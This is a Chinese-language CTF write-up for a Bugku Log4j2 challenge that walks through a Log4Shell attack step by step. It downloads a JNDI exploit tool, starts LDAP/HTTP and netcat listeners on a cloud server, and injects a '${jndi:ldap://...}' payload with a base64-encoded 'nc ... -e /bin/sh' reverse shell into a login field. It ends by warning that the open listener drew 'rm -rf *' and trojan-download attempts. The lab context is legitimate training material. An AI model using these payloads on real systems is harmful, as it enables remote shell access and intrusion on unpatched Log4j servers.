Log4j2 漏洞題目
題目地址 https://ctf.bugku.com/challenges/detail/id/340.html?page=1
二、攻擊環境准備
需要一台linux雲服務器,把kali內網穿透出去也行。
本教程只演示在centos7雲服務器下的操作,其它平台請自行解決
2.1 在雲服務器下安裝工具 並開啟監聽
#安裝nc
sudo yum install nc -y
#安裝git
sudo yum install git -y
#克隆 考慮到github可能不穩定,改用gitee
#github命令 git clone https://github.com/black9/Log4shell_JNDIExploit.git
wget https://gitee.com/kittysmith5/log4j2/raw/master/log4j/log4j.zip
# 解壓 沒安裝unzip,請自行安裝
unzip log4j.zip
#進入目錄
cd log4j/
2.2 開啟ldap和http服務監聽
# 一定要寫自己服務器的公網ip,否則用回環地址127.0.0.1反彈不到shell
java -jar *.jar -i 114.114.114.114 -p 8080
#沒安裝java可以參考這篇博文 https://www.cnblogs.com/ktsm/p/14921272.html
出現以下提示就說明監聽成功

2.3 開啟nc監聽
一定要新開一個shell,如下圖,方便我們后續操作

#開啟nc監聽12345端口
nc -lvn 12345
出現如下提示就說明監聽成功了
沒出現提示, 但沒提示報錯也是監聽成功了
2.4 進行jndi注入攻擊
${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/[base64加密后命令]}
直接填寫base64加密的反彈shell命令即可
nc x.x.x.x 12345 -e /bin/sh
base64編碼網站 http://tool.chinaz.com/tools/base64.aspx
把這條注入表達式填入登陸的user框中, 密碼隨便填一個即可
${jndi:ldap://114.114.114.114:1389/Basic/Command/Base64/bmMgMTE0LjExNC4xMTQuMTE0IDEyMzQ1IC1lIC9iaW4vc2g=}
回到那個nc監聽的shell窗口, 會發現多了幾行, 說明成功反彈到了shell

輸入ls 和cat flag就能得到flag了
三、關閉監聽環境!!!
剛開啟ldap和http服務監聽, 就收到來自國外的惡意攻擊
如下圖直接 rm -rf *
而且想通過wget 下載一個木馬文件, 因此解完題目后一定要關閉所有服務